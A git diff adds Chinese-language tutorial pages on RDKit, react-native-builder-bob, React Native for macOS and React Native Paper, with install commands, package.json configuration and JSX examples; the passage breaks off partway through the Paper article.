+| 从 SDF 文件读取 | `Chem.SDMolSupplier('molecules.sdf')` |
+| 写入 SDF 文件 | `Chem.SDWriter('output.sdf')` |
+| 子结构匹配 | `mol.HasSubstructMatch(pattern)` |
+| 获取匹配原子索引 | `mol.GetSubstructMatch(pattern)` |
+| 生成 2D 坐标 | `AllChem.Compute2DCoords(mol)` |
+| 生成 3D 构象 | `AllChem.EmbedMolecule(mol)` |
+| Morgan 指纹 | `AllChem.GetMorganFingerprintAsBitVect(mol, 2, 2048)` |
+| 计算分子量 | `Chem.Descriptors.MolWt(mol)` |
+| 分子绘图 | `Draw.MolToFile(mol, 'out.png')` |
+| 多图网格 | `Draw.MolsToGridImage(mol_list)` |
+
+## 五、学习建议
+
+1. 先掌握 SMILES 读写——这是所有操作的入口
+2. 学会用 `HasSubstructMatch` 做子结构搜索——这是最实用的功能
+3. 了解 Morgan 指纹的概念——它是连接化学和机器学习的桥梁
+4. 动手画分子图——视觉反馈能帮助你建立直觉
+5. 官方文档 [rdkit.org/docs/GettingStartedInPython.html](https://rdkit.org/docs/GettingStartedInPython.html) 是最佳参考
diff --git a/src/content/docs/projects/react-native-builder-bob.md b/src/content/docs/projects/react-native-builder-bob.md
new file mode 100644
index 000000000..84477852b
--- /dev/null
+++ b/src/content/docs/projects/react-native-builder-bob.md
@@ -0,0 +1,268 @@
+---
+title: react-native-builder-bob — React Native 库脚手架与多产物构建工具
+来源: https://github.com/callstack/react-native-builder-bob
+日期: 2026-06-13
+分类: 后端 API
+子分类: 移动端
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**react-native-builder-bob**（社区常简称 **Bob**）是 Callstack 维护的一套 CLI，专门解决 React Native **npm 库作者**的两件大事：**从零搭工程**（配合 `create-react-native-library`）和 **把 TypeScript / JSX 源码编译成可发布的多种产物**（CommonJS、ESM、`.d.ts`、Codegen 等）。
+
+日常类比：你要开一家「调料包」工厂，卖给全国各地的火锅店（各种 App 和打包工具）。原料是带 JSX、TypeScript 的「生鲜配方」（`src/`），但顾客厨房的灶具不一样——有的只认 CommonJS 老锅，有的要 ESM 新灶，有的还要附带「成分表」（类型定义）。Bob 就像**中央厨房的标准化流水线**：你只管在 `src/` 写配方，它按 `package.json` 里的配置，自动产出 `lib/` 里多套成品，并在 `npm publish` 前通过 `prepare` 钩子自动跑一遍。
+
+Bob 本身不替代 React Native 运行时，它服务的是**库维护者**，不是 App 业务开发者。与之配套的脚手架命令是：
+
+```bash
+# 新建一个带 example App、CI、Bob 预配置的 RN 库
+npx create-react-native-library@latest awesome-library
+
+# 给已有库一键接入 Bob 构建
+npx react-native-builder-bob@latest init
+```
+
+官方文档：https://oss.callstack.com/react-native-builder-bob/
+
+## 为什么重要
+
+如果你要**发布**或**在 monorepo 内共享** React Native 原生模块 / JS 工具库，不理解 Bob 会在这些场景踩坑：
+
+- **直接发布 `src/` 里的 TSX**：消费者的 Metro / Webpack 未必能正确处理你的 Babel 配置；类型文件路径混乱，IDE 补全体验差
+- **手写 Babel + tsc 双配置**：`module` / `main` / `types` / `exports` 字段要对齐多套输出目录，漏一项就会在 ESM-only 或 legacy Node 环境里 `require is not defined`
+- **新架构（Turbo Module + Fabric）**：Codegen 生成物何时打进 npm 包、`cmakeListsPath` 如何指到生成目录——Bob 的 `codegen` target 把这条链纳入 `bob build`
+- **本地库 vs 发 npm**：在 App 仓库里用 `--local` 建 `modules/awesome-library`，比把代码塞进 `android/`、`ios/` 更易升级 RN、复制到其他项目
+
+Bob 在 RN 生态里的地位类似前端库里的 **tsup / unbuild / microbundle**，但默认约定（`react-native` 字段指向源码、`exports.source`、Codegen 集成）是**按 RN 库规范定制**的。
+
+## 核心概念
+
+Bob 的心智模型可以拆成四块：
+
+### 1. 两个 CLI，分工明确
+
+| 工具 | 职责 |
+|------|------|
+| `create-react-native-library` | **脚手架**：生成库目录、example App、ESLint/Prettier/Lefthook、GitHub Actions、Kotlin/Swift/C++ 模板、**预置 Bob 配置** |
+| `react-native-builder-bob` | **构建器**：`init` 给老项目加配置；`build` 按 targets 编译 |
+
+你完全可以只用后者：已有仓库执行 `npx react-native-builder-bob@latest init`，不必重新 scaffold。
+
+### 2. `source` → `output` → `targets`
+
+配置写在 `package.json` 的 `react-native-builder-bob` 字段，或根目录 `bob.config.js`：
+
+- **`source`**：源码根目录，需包含 `index` 入口（如 `src/index.tsx`）
+- **`output`**：编译输出根目录（常见 `lib/`）
+- **`targets`**：要生成哪些产物
+
+常见 targets：
+
+| Target | 作用 | 典型 `package.json` 指向 |
+|--------|------|---------------------------|
+| `module` | Babel 编译为 **ESM**（`import`/`export` 保留） | `exports['.'].import` 或 `module` 字段 |
+| `commonjs` | Babel 编译为 **CommonJS** | `main` 或 `exports['.'].require` |
+| `typescript` | `tsc` 生成 **`.d.ts`** | `types`、`exports['.'].types` |
+| `codegen` | 运行 RN **Codegen**，生成 Turbo/Fabric 脚手架代码 | 原生工程 `ios/generated`、`android/generated` |
+| `custom` | 挂自定义 npm script | 适合额外打包步骤 |
+
+`module` target 常配 `{ "esm": true }`，以符合 Node 12+ 与现代 bundler 的 `package.json#exports` 约定。
+
+### 3. 入口字段：开发读源码，发布用 `lib/`
+
+Bob 推荐的双轨入口（简化版）：
+
+```json
+{
+  "main": "./lib/module/index.js",
+  "types": "./lib/typescript/src/index.d.ts",
+  "exports": {
+    ".": {
+      "source": "./src/index.tsx",
+      "types": "./lib/typescript/src/index.d.ts",
+      "default": "./lib/module/index.js"
+    },
+    "./package.json": "./package.json"
+  },
+  "files": ["lib", "src"]
+}
+```
+
+含义：
+
+- **开发 / Metro**：通过 `exports` 的 `source` 或传统 `react-native` 字段直接消费 `src/`，热更新快
+- **发布后消费者**：拿到编译好的 `lib/`，不依赖你的 Babel 插件链
+- **`files`**：控制 npm 包里实际包含哪些目录（通常 `lib` + `src`）
+
+### 4. `prepare` vs `prepack`：何时自动 `bob build`
+
+```json
+"scripts": {
+  "prepare": "bob build"
+}
+```
+
+- **`prepare`**：`npm publish`、从 Git URL `npm install`（Yarn 1 / npm / pnpm）时会跑——适合多数库
+- **`prepack`**：任意包管理器 `publish` 时都会跑；Yarn 4 从 Git 安装时也依赖它
+
+官方建议拿不准就用 **`prepare`**。本地开发可手动 `yarn bob build` 或配置 watch。
+
+### 5. 本地库（`--local`）
+
+在**已有 App** 的目录执行 scaffold，会生成 `modules/awesome-library` 一类结构，通过 `link:`（Yarn）或 `file:`（npm）链到主工程，走 **autolinking**，无需把原生代码塞进 App 的 `android/`、`ios/`。适合 monorepo、Expo dev client 内嵌原生模块、或暂时不发 npm 的内部库。
+
+## 实践案例
+
+### 案例 1：从零创建可发布库
+
+```bash
+npx create-react-native-library@latest react-native-awesome-storage
+# 交互式选择：Turbo Module / Fabric / 仅 JS / Expo Web 等
+
+cd react-native-awesome-storage
+yarn
+yarn example start   # 启动 example App 调试库代码
+```
+
+生成物通常已包含：
+
+```json
+"scripts": {
+  "prepare": "bob build",
+  "watch": "bob build --watch"
+},
+"react-native-builder-bob": {
+  "source": "src",
+  "output": "lib",
+  "targets": [
+    ["module", { "esm": true }],
+    "commonjs",
+    "typescript"
+  ]
+}
+```
+
+发布前在库根目录执行 `npm pack` 可本地检查 tarball 是否含 `lib/` 与类型文件。
+
+### 案例 2：给已有 JS/TS 库接入 Bob（`init` 等价的手动配置）
+
+假设库源码在 `src/index.ts`，希望产出 ESM + 类型定义：
+
+```bash
+yarn add --dev react-native-builder-bob
+```
+
+`package.json` 片段：
+
+```json
+{
+  "name": "my-rn-utils",
+  "scripts": {
+    "prepare": "bob build"
+  },
+  "react-native-builder-bob": {
+    "source": "src",
+    "output": "lib",
+    "targets": [
+      ["module", { "esm": true }],
+      "typescript"
+    ]
+  },
+  "main": "./lib/module/index.js",
+  "types": "./lib/typescript/src/index.d.ts",
+  "exports": {
+    ".": {
+      "source": "./src/index.ts",
+      "types": "./lib/typescript/src/index.d.ts",
+      "default": "./lib/module/index.js"
+    }
+  },
+  "files": ["lib", "src"]
+}
+```
+
+`.gitignore` 增加：
+
+```
+lib/
+```
+
+若使用 Jest，避免测试跑到编译产物：
+
+```json
+"jest": {
+  "modulePathIgnorePatterns": ["<rootDir>/lib/"]
+}
+```
+
+然后：
+
+```bash
+yarn bob build
+ls lib/module lib/typescript
+```
+
+### 案例 3：在 monorepo App 内建本地原生库
+
+```bash
+cd MyApp
+npx create-react-native-library@latest awesome-bridge --local
+```
+
+主 App `package.json` 会自动出现类似：
+
+```json
+"dependencies": {
+  "awesome-bridge": "link:./modules/awesome-bridge"
+}
+```
+
+库代码在 `modules/awesome-bridge/`，通过 autolinking 进 Android Gradle / iOS CocoaPods，升级 RN 时不必 merge 进 App 原生目录的冲突补丁。
+
+## 开发工作流速查
+
+```bash
+# 监听源码变更并增量编译
+yarn bob build --watch
+
+# 只构建某一 target（例如 Codegen）
+npx bob build --target codegen
+
+# 老项目一键写入 Bob 配置
+npx react-native-builder-bob@latest init
+```
+
+`create-react-native-library` 生成的 `CONTRIBUTING.md` 会描述在 example App 里跑 iOS/Android/Web 测试的具体命令；Bob 负责的是**库包构建**，example 负责**集成验证**。
+
+## 常见坑与排查
+
+1. **`lib/` 被提交进 Git**  
+   应在 `.gitignore` 忽略；CI 应在 publish 前能跑 `bob build`。若 `lib/` 陈旧，消费者会用到过期编译结果。
+
+2. **`main` / `exports` 与 targets 不一致**  
+   启用了 `commonjs` 却只在 `exports.default` 指 ESM 文件，会在 `require()` 场景报错。对照 [官方 ESM 兼容说明](https://oss.callstack.com/react-native-builder-bob/esm) 做 dual package。
+
+3. **类型路径对不上**  
+   `typescript` target 默认读根目录 `tsconfig.json`；可用 `["typescript", { "project": "tsconfig.build.json" }]` 分离开发/发布配置。
+
+4. **Codegen 与 `includesGeneratedCode`**  
+   若把生成代码打进 npm，需在 `codegenConfig` 设 `includesGeneratedCode: true` 并配置 `outputDir`；同时更新 iOS import 路径与 Android `react-native.config.js` 的 `cmakeListsPath`——官方 build 文档有逐步清单。
+
+5. **与 App 开发混淆**  
+   Bob 不替代 Metro bundler 跑业务 App；它是**库作者**在 publish 前的构建步骤。写 App 用 Expo / RN CLI 即可，只有当你维护 `react-native-*` 包时才需要 Bob。
+
+## 和相近工具的关系
+
+| 工具 | 关系 |
+|------|------|
+| **create-react-native-library** | Bob 官方脚手架，创建时即带好 Bob |
+| **Expo Modules API** | 另一套写原生模块的路径；也可用 Bob 编译纯 JS 层 |
+| **tsup / rollup** | 通用 TS 库打包；缺少 RN 的 `source` 字段、Codegen target 等约定 |
+| **React Native 文档「本地库」** | Bob `--local` 是更工程化、可迁移的替代方案 |
+
+## 小结
+
+**react-native-builder-bob** 把 React Native 库作者从「手写 Babel + tsc + 入口字段对齐」里解放出来：源码留在 `src/`，`bob build` 产出 CommonJS / ESM / 类型 / Codegen 等多套目标，并在 `npm publish` 时通过 `prepare` 自动执行。配合 **create-react-native-library**，可以从零得到带 example、CI、新架构模板的标准库仓库；配合 **`--local`**，可以在 App monorepo 里以可复用包的形式写原生桥接，而不污染 App 自身的 `android/`、`ios/`。
+
+记住一句类比：**App 开发者炒菜，库作者卖标准化调料包——Bob 就是那台把生鲜配方变成多规格包装的生产线。**
diff --git a/src/content/docs/projects/react-native-macos.md b/src/content/docs/projects/react-native-macos.md
new file mode 100644
index 000000000..4caa9d9e0
--- /dev/null
+++ b/src/content/docs/projects/react-native-macos.md
@@ -0,0 +1,289 @@
+---
+title: React Native for macOS — 用 JavaScript 写原生 macOS 桌面应用
+来源: https://github.com/microsoft/react-native-macos
+日期: 2026-06-13
+子分类: 移动端
+分类: 后端 API
+provenance: pipeline-v3
+---
+
+## 是什么
+
+React Native for macOS（简称 RNmacOS）是微软维护的 **React Native 官方 macOS 平台扩展**。日常类比：React Native 像一家连锁餐厅的**统一菜谱**——`<View>`、`<Text>`、`<Pressable>` 是写在纸上的指令；iOS 分店用 UIKit 厨房、Android 分店用 Android 视图厨房。RNmacOS 则是在 Mac 上再开一间**本地厨房**：同一份 JavaScript/TypeScript 菜谱，底下由 **AppKit / Cocoa** 把组件渲染成真正的 macOS 原生窗口、按钮和菜单栏，而不是在 WebView 里套一层网页。
+
+和 React（Web）的本质区别：
+
+| 维度 | React（Web） | React Native for macOS |
+|------|--------------|------------------------|
+| 渲染目标 | 浏览器 DOM | macOS 原生 AppKit 视图 |
+| 运行环境 | Safari / Chrome | 独立 `.app` 桌面进程 |
+| 样式模型 | CSS | Flexbox 风格的 StyleSheet |
+| 开发机 | 任意系统 | **构建与运行必须在 macOS** |
+| 打包产物 | HTML + JS bundle | `.app` / 公证后 `.dmg` |
+
+```jsx
+import { View, Text, Pressable, StyleSheet } from 'react-native';
+
+export default function App() {
+  return (
+    <View style={styles.container}>
+      <Text style={styles.title}>你好，macOS</Text>
+      <Pressable style={styles.btn} onPress={() => console.log('来自 RNmacOS')}>
+        <Text style={styles.btnText}>点我</Text>
+      </Pressable>
+    </View>
+  );
+}
+
+const styles = StyleSheet.create({
+  container: { flex: 1, justifyContent: 'center', alignItems: 'center' },
+  title: { fontSize: 28, fontWeight: '600', marginBottom: 16 },
+  btn: { backgroundColor: '#007AFF', paddingHorizontal: 24, paddingVertical: 10, borderRadius: 8 },
+  btnText: { color: '#fff', fontSize: 16 },
+});
+```
+
+这段代码在 iPhone 上走 UIKit，在 Mac 上走 AppKit——**写法相同，底层已是 macOS 原生 UI**。
+
+## 为什么重要
+
+不理解 RNmacOS，以下场景容易选型失误或踩坑：
+
+- **「已有 RN 移动端，能否顺手做 Mac 桌面版？」**——可以，业务层 JS/TS 大量复用，但需 `react-native-macos-init` 生成 `macos/` 原生工程，不是 `npx create-expo-app` 自动就有
+- **和 Electron / Tauri 怎么选？**——Electron 是 Chromium + Node，包体与内存通常更大；Tauri 用 Rust + WebView；RNmacOS 走原生控件，与系统外观、菜单栏、VoiceOver 无障碍集成更自然，但 npm 生态里「只支持 Web」的库不能直接搬
+- **与 react-native-windows 的关系**——姊妹项目，同属微软 React Native 桌面生态；很多 Fabric 渲染思路从 iOS 移植到 macOS，Windows 侧独立演进
+- **Out-of-tree 平台**——`react-native-macos` 是 facebook/react-native 的 **working fork**，版本号需与 `react-native` **次版本对齐**（如 RN 0.81 配 `react-native-macos@0.81.x`）
+- **开发机限制**——编译 macOS 应用只能在 Mac 上进行；可在 Linux/Windows 写 JS，但无法本地跑 `run-macos`
+
+## 核心概念
+
+RNmacOS 的心智模型可以拆成 **六块**：
+
+1. **平台包 `react-native-macos`**：npm 依赖，替换/扩展标准 RN 的 macOS 实现。提供 Metro 配置、`run-macos` / `build-macos` CLI、CocoaPods 集成。
+
+2. **`macos/` 原生工程**：由 `npx react-native-macos-init` 生成，内含 Xcode workspace（`macos/{ProjectName}.xcworkspace`）、AppDelegate、Podfile。类比：Mac 端的「厨房设备与布线」，JS 层一般不直接改，但加原生模块时必须动这里。
+
+3. **与 iOS 的高度同构**：官方文档明确——写原生模块/组件的方式与 iOS 几乎相同，只是把 **UIKit 换成 AppKit**。社区库扩展 macOS 时，常在 `.podspec` 里加 `osx`，用 `#if TARGET_OS_OSX` 分支共享代码。
+
+4. **Metro Bundler**：与移动端相同，负责打包 JS、支持 Fast Refresh。开发时通常开两个终端：`npm run start`（Metro）+ `npx react-native run-macos`（编译启动 .app）。
+
+5. **New Architecture（Fabric + TurboModules）**：从 RN 0.71 起 macOS 侧引入 **实验性 Fabric** 预览；与 iOS 一样可通过 `RCT_NEW_ARCH_ENABLED=1` 在 `pod install` 时启用。新应用应关注官方 release 说明，旧 bridge 路径仍在维护期项目中存在。启用后 JS 侧可见 `fabric: true`、`concurrentRoot` 等特征（与 iOS 行为对齐）。
+
+6. **系统要求（2026 年主流环境）**：
+   - 运行目标：macOS **Big Sur (11)** 或更新
+   - 开发机：macOS + **Xcode**（含 macOS SDK）+ CocoaPods
+   - Node.js ≥ 18（与 RN 官方要求一致）
+   - `react-native` 与 `react-native-macos` **minor 版本一致**
+
+## 从零创建第一个 macOS 应用
+
+官方推荐流程（以 RN 0.81 为例，具体版本以 [GitHub Releases](https://github.com/microsoft/react-native-macos/releases) 为准）：
+
+```bash
+# 1. 创建 RN 项目（版本与 RNmacOS 对齐）
+npx @react-native-community/cli init HelloMacOS --version 0.81.2
+cd HelloMacOS
+
+# 2. 安装 macOS 平台扩展（写入 react-native-macos 依赖并生成 macos/）
+npx react-native-macos-init
+
+# 3. 终端 A：启动 Metro
+npm run start
+
+# 4. 终端 B：编译并启动 macOS 应用
+npx react-native run-macos
+```
+
+**替代方式**：
+
+- 用 Xcode 打开 `macos/HelloMacOS.xcworkspace`，或执行 `xed -b macos`，点击 Run
+- 仅构建不启动：`npx react-native build-macos`
+
+首次编译会拉 CocoaPods、编译 C++/Objective-C++ 依赖，**耗时明显**；后续增量构建快很多。
+
+若已有 RN 项目、只想**追加 macOS 目标**，在同一目录执行 `npx react-native-macos-init` 即可，不必重新 `init`。
+
+## 实践案例
+
+### 案例 1：带状态的 macOS 桌面计数器
+
+```jsx
+import { useState } from 'react';
+import { View, Text, Pressable, StyleSheet } from 'react-native';
+
+export default function Counter() {
+  const [count, setCount] = useState(0);
+
+  return (
+    <View style={styles.root}>
+      <Text style={styles.label}>macOS 计数器</Text>
+      <Text style={styles.count}>{count}</Text>
+      <View style={styles.row}>
+        <Pressable style={styles.btn} onPress={() => setCount((c) => c - 1)}>
+          <Text style={styles.btnText}>−</Text>
+        </Pressable>
+        <Pressable style={[styles.btn, styles.primary]} onPress={() => setCount((c) => c + 1)}>
+          <Text style={styles.btnText}>+</Text>
+        </Pressable>
+      </View>
+    </View>
+  );
+}
+
+const styles = StyleSheet.create({
+  root: { flex: 1, justifyContent: 'center', alignItems: 'center', backgroundColor: '#f5f5f7' },
+  label: { fontSize: 18, color: '#6e6e73', marginBottom: 8 },
+  count: { fontSize: 48, fontWeight: '700', marginBottom: 24 },
+  row: { flexDirection: 'row', gap: 12 },
+  btn: {
+    width: 56,
+    height: 56,
+    borderRadius: 28,
+    backgroundColor: '#e8e8ed',
+    justifyContent: 'center',
+    alignItems: 'center',
+  },
+  primary: { backgroundColor: '#007AFF' },
+  btnText: { fontSize: 24, color: '#fff' },
+});
+```
+
+**要点**：
+
+- React Hooks 与 Web 完全一致；RNmacOS 只负责渲染，不绑定状态库
+- macOS 窗口默认可缩放；用 `flex: 1` 让内容随窗口变化——桌面应用要考虑**最小窗口尺寸**（可在 `macos/` 原生层配置）
+- 键盘快捷键（如 ⌘+、⌘−）需在原生层或 `react-native-keyevent` 等模块扩展，RN 核心不内置全局快捷键 API
+
+### 案例 2：macOS 风格的设置面板（Switch + 平台分支）
+
+桌面应用常见「设置页」。下面演示用 RN 核心组件 + 简单平台判断（与 iOS 共享逻辑，macOS 上 Switch 映射为 AppKit 开关）：
+
+```tsx
+import { useState } from 'react';
+import { View, Text, Switch, StyleSheet, Platform } from 'react-native';
+
+export function SettingsPanel() {
+  const [darkMode, setDarkMode] = useState(false);
+  const [launchAtLogin, setLaunchAtLogin] = useState(false);
+
+  const platformLabel =
+    Platform.OS === 'macos' ? 'macOS 原生设置' : Platform.OS;
+
+  return (
+    <View style={styles.panel}>
+      <Text style={styles.heading}>{platformLabel}</Text>
+
+      <View style={styles.row}>
+        <Text style={styles.label}>深色模式（演示）</Text>
+        <Switch value={darkMode} onValueChange={setDarkMode} />
+      </View>
+
+      <View style={styles.row}>
+        <Text style={styles.label}>登录时打开</Text>
+        <Switch
+          value={launchAtLogin}
+          onValueChange={setLaunchAtLogin}
+          disabled={Platform.OS !== 'macos'}
+        />
+      </View>
+
+      {Platform.OS === 'macos' && (
+        <Text style={styles.hint}>
+          「登录时打开」需调用 SMAppService / LSSharedFileList 等原生 API，此处仅 UI 占位。
+        </Text>
+      )}
+    </View>
+  );
+}
+
+const styles = StyleSheet.create({
+  panel: { flex: 1, padding: 24, maxWidth: 480, alignSelf: 'center', width: '100%' },
+  heading: { fontSize: 22, fontWeight: '600', marginBottom: 20 },
+  row: {
+    flexDirection: 'row',
+    justifyContent: 'space-between',
+    alignItems: 'center',
+    paddingVertical: 12,
+    borderBottomWidth: StyleSheet.hairlineWidth,
+    borderBottomColor: '#d2d2d7',
+  },
+  label: { fontSize: 16 },
+  hint: { marginTop: 16, fontSize: 13, color: '#86868b', lineHeight: 18 },
+});
+```
+
+**要点**：
+
+- `Platform.OS === 'macos'` 是 RNmacOS 注入的平台标识，用于与 iOS/Android 分支
+- 真正「登录项」「菜单栏图标」「沙盒书签」等 **macOS 专属能力** 要写 Native Module（Objective-C++/Swift），或选用已支持 macOS 的社区库
+- 扩展原生库时，在 `.podspec` 增加 `s.platforms = { :ios => "15.0", :osx => "12.0" }`，并在实现里 `#import <AppKit/AppKit.h>` 替代 UIKit
+
+## 与相关技术的关系
+
+| 技术 | 关系 |
+|------|------|
+| React Native | RNmacOS 是 RN 的 macOS 平台实现；共享 JS 运行时与组件模型 |
+| react-native-windows | 姊妹项目；微软桌面双端，API 风格相近但原生工程结构不同 |
+| Expo | macOS 支持仍属**实验性**；需改 Podfile、`AppDelegate`、Metro 以接入 `expo` 与 autolinking |
+| Electron | Electron = Chromium 壳；RNmacOS = AppKit 原生控件，内存与包体通常更优 |
+| SwiftUI / AppKit 纯原生 | 苹果第一方 UI；RNmacOS 适合已有 RN 团队复用移动端代码 |
+| Tauri | Rust + 系统 WebView；RNmacOS 不依赖 HTML 渲染树 |
+
+已有 macOS 支持的社区模块示例：**react-native-webview**、**react-native-svg**、**react-native-reanimated**、**react-native-gesture-handler** 等——移植自研库时可对照其 Podspec 与 `#if TARGET_OS_OSX` 写法。
+
+## 原生开发速览
+
+若你要写 **Turbo Module / 原生视图**（与 iOS 文档结构相同）：
+
+1. 在 `macos/` 工程或 shared `apple/` 目录添加 Objective-C++ / Swift 实现
+2. 用 AppKit 类型（`NSView`、`NSButton`）而非 `UIView`
+3. 在 Podspec 声明 `osx` 平台最低版本
+4. 运行 `pod install` 后通过 codegen 或手动导出模块给 JS
+
+```objective-c
+#if !TARGET_OS_OSX
+#import <UIKit/UIKit.h>
+#else
+#import <AppKit/AppKit.h>
+#endif
+```
+
+这是 iOS/macOS **双端库** 最常见的条件编译模式。
+
+## 常见问题
+
+**Q：能在 Windows 上编译 macOS 包吗？**  
+A：不能。必须有 Mac + Xcode。CI 常用 macOS runner（GitHub Actions `macos-latest` 等）。
+
+**Q：版本号对不齐会怎样？**  
+A：`react-native` 与 `react-native-macos` minor 不一致时，Metro、Codegen、原生桥接常出现编译错误或运行时红屏。升级时两者一起升。
+
+**Q：和 iOS 工程能共用 `ios/` 吗？**  
+A：业务 JS/TS 共用；原生工程分离——`ios/` 给 iPhone/iPad，`macos/` 给 Mac。部分库把共享原生代码放到 `apple/` 目录。
+
+**Q：如何调试？**  
+A：JS 层用 Metro + React DevTools；原生层用 Xcode 断点附加到 `.app` 进程。Fast Refresh 改 JS 即可热更新。
+
+**Q：Expo 托管项目能直接加 macOS 吗？**  
+A：需按官方 [Install Expo modules](https://microsoft.github.io/react-native-macos/docs/guides/installing-expo-modules) 改 Podfile、Bundle 脚本与 `AppDelegate`，并改用 `npx expo start`；复杂度高于纯裸 RN。
+
+**Q：发布到 Mac App Store？**  
+A：需配置签名、沙盒、公证（notarization）。RNmacOS 产出标准 Xcode 工程，流程与原生 Mac 应用一致，具体以 Apple 当期政策为准。
+
+## 学习路径建议
+
+1. 先掌握 **React Native 基础**（组件、StyleSheet、导航）——RNmacOS 不另起一套 JS API
+2. 在 Mac 上走通 **Getting Started**：`cli init` → `react-native-macos-init` → `run-macos`
+3. 浏览仓库内 **RNTester** 示例，对照 macOS 上各组件表现
+4. 若有 iOS 经验，直接阅读 [Native Development](https://microsoft.github.io/react-native-macos/docs/guides/native-development) 理解 AppKit 差异
+5. 需要系统级能力（菜单栏、Touch Bar、Shortcuts）再深入 Turbo Module 与 `macos/` 工程
+
+## 资源
+
+- 官方文档：https://microsoft.github.io/react-native-macos/
+- GitHub：https://github.com/microsoft/react-native-macos
+- Getting Started：https://microsoft.github.io/react-native-macos/docs/getting-started
+- CLI 命令：https://microsoft.github.io/react-native-macos/docs/cli-commands
+- 原生开发指南：https://microsoft.github.io/react-native-macos/docs/guides/native-development
+- 微软 React Native 博客：https://devblogs.microsoft.com/react-native/
+- 姊妹项目 Windows 文档：https://microsoft.github.io/react-native-windows/
diff --git a/src/content/docs/projects/react-native-paper.md b/src/content/docs/projects/react-native-paper.md
new file mode 100644
index 000000000..2679e15e2
--- /dev/null
+++ b/src/content/docs/projects/react-native-paper.md
@@ -0,0 +1,332 @@
+---
+title: React Native Paper — Material Design 风格的 RN UI 组件库
+来源: https://github.com/callstack/react-native-paper
+日期: 2026-06-13
+子分类: 移动端
+分类: 后端 API
+provenance: pipeline-v3
+---
+
+## 是什么
+
+React Native Paper 是 Callstack 维护的**跨平台 Material Design UI 组件库**：把 Google Material Design 3（Material You）里的按钮、卡片、输入框、对话框等「标准件」封装成 React Native 组件，在 iOS 和 Android 上开箱即用。
+
+日常类比：你在装修一套公寓（React Native App），自己从零做门把手、开关面板、橱柜门会很费时间，而且容易和邻居（用户）熟悉的 Google/Android 风格对不上。Paper 就像**宜家 + 谷歌联名样板间**——颜色、圆角、阴影、动效都按 Material 规范预制好了，你只管选组件、拼布局、换主题色，不用自己画每个 ripple 波纹和 elevation 阴影。
+
+最小用法：用 `PaperProvider` 包住 App，然后直接 import 组件：
+
+```tsx
+import { PaperProvider, Button } from 'react-native-paper';
+
+export default function App() {
+  return (
+    <PaperProvider>
+      <Button mode="contained" onPress={() => console.log('pressed')}>
+        提交
+      </Button>
+    </PaperProvider>
+  );
+}
+```
+
+Paper 默认启用 **MD3（Material Design 3）** 主题；若项目仍依赖旧版视觉，可通过 `PaperProvider` 的 `theme` 或 `version={2}` 切回 MD2。
+
+## 为什么重要
+
+不理解 Paper，在 RN 移动端 UI 选型时容易走弯路：
+
+- **Material 规范已经帮你做了 80% 的交互细节**：按钮的 pressed 态、FAB 的 elevation、Snackbar 的队列、TextInput 的浮动标签——自己用 `Pressable` + 手写样式复刻，成本高且容易和 Android 系统预期不一致
+- **Expo / RN 生态的「官方感」组件库**：14k+ GitHub stars，Callstack（React Native 核心贡献团队之一）长期维护，文档、Snack 示例、Play/App Store Demo App 齐全
+- **主题系统与 MD3 色板对齐**：`primary` / `onPrimary` / `primaryContainer` 等 token 与 Material Theme Builder 一致，设计师给 Figma kit，开发可以直接映射到 `theme.colors`
+- **和 React Navigation 等库配合成熟**：AppBar、Drawer、BottomNavigation 等导航相关组件与 RN 导航栈是常见组合
+
+Paper **不是** RN 的唯一 UI 方案：偏 iOS Human Interface Guidelines 的项目可能选 NativeBase 或 Tamagui；要高度定制设计系统时也可能自研。Paper 的甜区是：**Android 为主或需要统一 Material 视觉的 B 端 / 工具类 App**。
+
+## 核心概念
+
+Paper 的心智模型可以拆成五块：
+
+1. **`PaperProvider`（主题与 Portal 根）**  
+   必须在应用根部包裹（Expo 项目在 `App.tsx`，裸 RN 在 `AppRegistry` 注册的外层）。它通过 React Context 向下传递 `theme`，并为 `Modal`、`Menu`、`Snackbar` 等需要「渲染到顶层」的组件提供 Portal。  
+   **Provider 顺序**：Redux / TanStack Query 等应包在 **Paper 外面**，这样 Modal 内的子树仍能访问 Redux；Paper 在内层。
+
+2. **Material Design 3 主题（Theme Token）**  
+   默认不传 `theme` 时使用内置 MD3 浅色主题。主题对象包含：
+   - `dark: boolean` — 深/浅色
+   - `version: 2 | 3` — 设计系统版本
+   - `roundness: number` — 全局圆角基数
+   - `colors` — MD3 色板（`primary`、`secondary`、`tertiary`、`surface`、`error` 及对应的 `on*` / `*Container`）
+   - `fonts` — MD3 Typescale（`displayLarge`、`titleMedium`、`bodySmall` 等）
+   - `animation` — 动画时长缩放  
+   用 `useTheme()` 在任意子组件读取当前主题，无需 prop drilling。
+
+3. **组件 `mode` 与变体**  
+   许多组件通过 `mode` 表达 Material 层级，例如 `Button` 支持 `contained`（实心主按钮）、`outlined`、`text`、`elevated`、`contained-tonal`。`Card` 可组合 `Card.Title`、`Card.Content`、`Card.Cover`、`Card.Actions`。理解 mode = 理解「这个控件在视觉层级里扮演什么角色」。
+
+4. **平台适配（Platform Adaptation）**  
+   Paper 遵循 Material 的跨平台指南：同一组件在 iOS 上可能用 slightly 不同的 ripple / 字体度量，但整体仍保持 Material 身份，而不是完全变成 Cupertino。若你要「iOS 像 iOS、Android 像 Android」，需要额外做平台分支或换库。
+
+5. **依赖与动画**  
+   现代版本依赖 `react-native-safe-area-context`（安全区）、`react-native-reanimated` + `react-native-worklets`（动画）。Expo 项目用 `npx expo install` 对齐版本；生产环境可在 `babel.config.js` 启用 `react-native-paper/babel` 插件做 **tree-shaking**，只打包用到的组件。
+
+## 安装与项目接入
+
+```bash
+# 安装 Paper
+npm install react-native-paper
+
+# Expo 项目：对齐 peer 依赖
+npx expo install react-native-safe-area-context react-native-reanimated react-native-worklets
+```
+
+Expo 已内置 vector icons，无需再装 `react-native-vector-icons`；裸 RN CLI 项目需额外安装并 link icons。
+
+根组件接入：
+
+```tsx
+import { PaperProvider } from 'react-native-paper';
+import App from './App';
+
+export default function Root() {
+  return (
+    <PaperProvider>
+      <App />
+    </PaperProvider>
+  );
+}
+```
+
+## 实践案例
+
+### 案例 1：自定义 MD3 主题 + 深色模式
+
+```tsx
+import { useMemo } from 'react';
+import { useColorScheme } from 'react-native';
+import {
+  MD3DarkTheme,
+  MD3LightTheme,
+  PaperProvider,
+  adaptNavigationTheme,
+} from 'react-native-paper';
+import { NavigationContainer, DefaultTheme } from '@react-navigation/native';
+
+const brandLight = {
+  ...MD3LightTheme,
+  colors: {
+    ...MD3LightTheme.colors,
+    primary: '#6750A4',
